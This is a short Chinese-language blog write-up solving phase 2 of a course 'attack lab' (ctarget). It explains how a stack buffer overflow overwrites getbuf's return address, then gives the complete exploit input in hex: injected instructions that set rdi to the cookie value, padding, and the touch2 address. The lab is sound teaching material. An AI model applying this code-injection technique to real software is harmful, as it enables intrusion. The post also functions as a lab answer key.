attack lab ctarget 2

Published 7/31/2020
Views 13

ctarget 第二个任务是进入代码 touch2,而且需要带参数(第一个参数设置为 0x59b997fa)。

这里我们需要插入可执行代码,并将控制权跳转到可执行代码,设置 rdi 寄存器,再跳转到 touch2

同样考虑栈结构(ctarget 没有开启 栈随机化),因此运行时栈的地址是确定的:

因为运行到 getbuf 代码的结尾时,ret 语句会将 0x5561dca0 处值(原为 0x401976)弹出并跳转,而运行时栈地址确定,再加上 ctarget 的栈空间内存有执行权限,因此我们可以将我们的恶意代码利用缓冲区溢出插入到 0x5561dc78 (缓冲区起始地址)后,将 0x5561dca0 处的跳转地址写为 0x5561dc78(缓冲区地址)从而执行我们的代码。

我们的代码很简单:

movq $0x59b997fa, %rdi
ret

需要注意的是这里 ret 语句弹出的地址是 rsp = 0x5561dca8,即 0x5561dca0 + 8。因此,我们还需要在 0x5561dca8 覆盖上 touch2 的地址。

输入如下:

/* starts at 0x5561dc78, inject code here! */
48 c7 c7 fa 97 b9 59    /* movq $0x59b997fa, %rdi */
c3                      /* ret */
00 00 00 00 00 00 00 00 /* paddings to make 40 bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

/* original return address */
78 dc 61 55 00 00 00 00 /* jump to injected code */
ec 17 40 00 00 00 00 00 /* new rsp, second jump to touch2 */

如果这 40 bytes 不够插入代码怎么办呢?可以将 touch2 的地址替换为更高的地址,从而提供更大的代码插入空间。

0 comments